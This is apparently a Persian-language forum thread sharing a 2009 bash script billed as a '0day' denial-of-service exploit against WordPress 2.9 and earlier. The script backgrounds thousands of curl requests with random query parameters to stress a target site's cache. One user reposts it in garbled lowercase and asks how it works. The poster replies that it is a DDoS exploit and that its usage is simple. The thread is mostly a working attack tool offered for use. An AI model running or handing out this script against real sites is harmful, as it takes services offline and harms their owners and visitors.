0day Wordpress DOS <= 2.9

[Virangar]

مثال:
sh WPd0s.sh --host http://www.wordpress-site/wordpress/ --requests 10000

#!/bin/bash
#
# Copyright (C) 2009 Emanuele Gentili < emgent@backtrack.it >
#
# This program is released under the terms of the GNU General Public License
# (GPL), which is distributed with this software in the file "COPYING".
# The GPL specifies the terms under which users may copy and use this software.
#
# WPd0s.sh
# This is a 0day DOS issue for Wordpress Core that use cache stressing with random
# parameter on multiple requests.
#

show_help(){
echo ""
echo " 2009 (C) WPd0s.sh - 0day Wordpress DOS <= 2.9"
echo ""
echo " --usage show the exploit Usage"
echo " --prereq show the exploit Prerequisites"
echo " --credits show the exploit Credits"
echo " --help show the Help"
echo ""
echo "Emanuele Gentili <emgent@backtrack.it>"
}

show_credits(){
echo ""
echo " Emanuele 'emgent' Gentili"
echo " http://www.backtrack.it/~emgent/"
echo " emgent @ backtrack.it"
echo ""
}

show_prereq(){
echo ""
echo " 2009 (C) WPd0s.sh - 0day Wordpress DOS <= 2.9"
echo ""
echo " Prerequeisites:"
echo " Bash (yeah because is cool.)"
echo " Curl"
echo ""
echo " Emanuele Gentili <emgent@backtrack.it>"
}

show_usage(){
echo ""
echo " 2009 (C) WPd0s.sh - 0day Wordpress DOS <= 2.9"
echo ""
echo " usage $0 --host http://localhost/wordpress/ --requests 1000"
echo ""
echo " Emanuele Gentili <emgent@backtrack.it>"
}


# Bash
while [[ $# != 0 ]]; do
arg_name=$1; shift
case "$arg_name" in
--help|-?|-h) show_help; exit 0;;
--credits) show_credits; exit 0;;
--usage) show_usage; exit 0;;
--prereq) show_prereq; exit 0;;
--host) host=$1; shift;;
--requests) requests=$1; shift;;
*) echo "invalid option: $1"; show_help;exit 1;;
esac
done

[ -z "$host" ] && { show_help; exit 1; }

for random in `seq 1 $requests`; do
curl -A Firefox -o --url "$host/?cat=2&d0s=1&d0s=$random" > /dev/null 2>&1 &
done

# 2009-12-30 enJoy.

[Ruby]

مثال:
sh wpd0s.sh --host http://www.wordpress-site/wordpress/ --requests 10000

#!/bin/bash
#
# copyright (c) 2009 emanuele gentili < emgent@backtrack.it >
#
# this program is released under the terms of the gnu general public license
# (gpl), which is distributed with this software in the file "copying".
# the gpl specifies the terms under which users may copy and use this software.
#
# wpd0s.sh
# this is a 0day dos issue for wordpress core that use cache stressing with random
# parameter on multiple requests.
#

show_help(){
echo ""
echo " 2009 (c) wpd0s.sh - 0day wordpress dos <= 2.9"
echo ""
echo " --usage show the exploit usage"
echo " --prereq show the exploit prerequisites"
echo " --credits show the exploit credits"
echo " --help show the help"
echo ""
echo "emanuele gentili <emgent@backtrack.it>"
}

show_credits(){
echo ""
echo " emanuele 'emgent' gentili"
echo " http://www.backtrack.it/~emgent/"
echo " emgent @ backtrack.it"
echo ""
}

show_prereq(){
echo ""
echo " 2009 (c) wpd0s.sh - 0day wordpress dos <= 2.9"
echo ""
echo " prerequeisites:"
echo " bash (yeah because is cool.)"
echo " curl"
echo ""
echo " emanuele gentili <emgent@backtrack.it>"
}

show_usage(){
echo ""
echo " 2009 (c) wpd0s.sh - 0day wordpress dos <= 2.9"
echo ""
echo " usage $0 --host http://localhost/wordpress/ --requests 1000"
echo ""
echo " emanuele gentili <emgent@backtrack.it>"
}


# bash
while [[ $# != 0 ]]; do
arg_name=$1; shift
case "$arg_name" in
--help|-?|-h) show_help; exit 0;;
--credits) show_credits; exit 0;;
--usage) show_usage; exit 0;;
--prereq) show_prereq; exit 0;;
--host) host=$1; shift;;
--requests) requests=$1; shift;;
*) echo "invalid option: $1"; show_help;exit 1;;
esac
done

[ -z "$host" ] && { show_help; exit 1; }

for random in `seq 1 $requests`; do
curl -a firefox -o --url "$host/?cat=2&d0s=1&d0s=$random" > /dev/null 2>&1 &
done

# 2009-12-30 enjoy.

مبشه در مورد کارایش و نحوه و هرچی هست یه راهنمایی و توضیح بدید ممنون میشم مرسی از شما

[Virangar]

این یه اکسپلویت برای Ddos کردن هسته وردپرس هست که با تکیه به cache stressing و با استفاده از پارامترهای تصادفی در درخواست های متعدد حمله رو انجام میده . نحوه استفادش بسیار ساده است و Usage رو تو کد اولی گذاشتم ..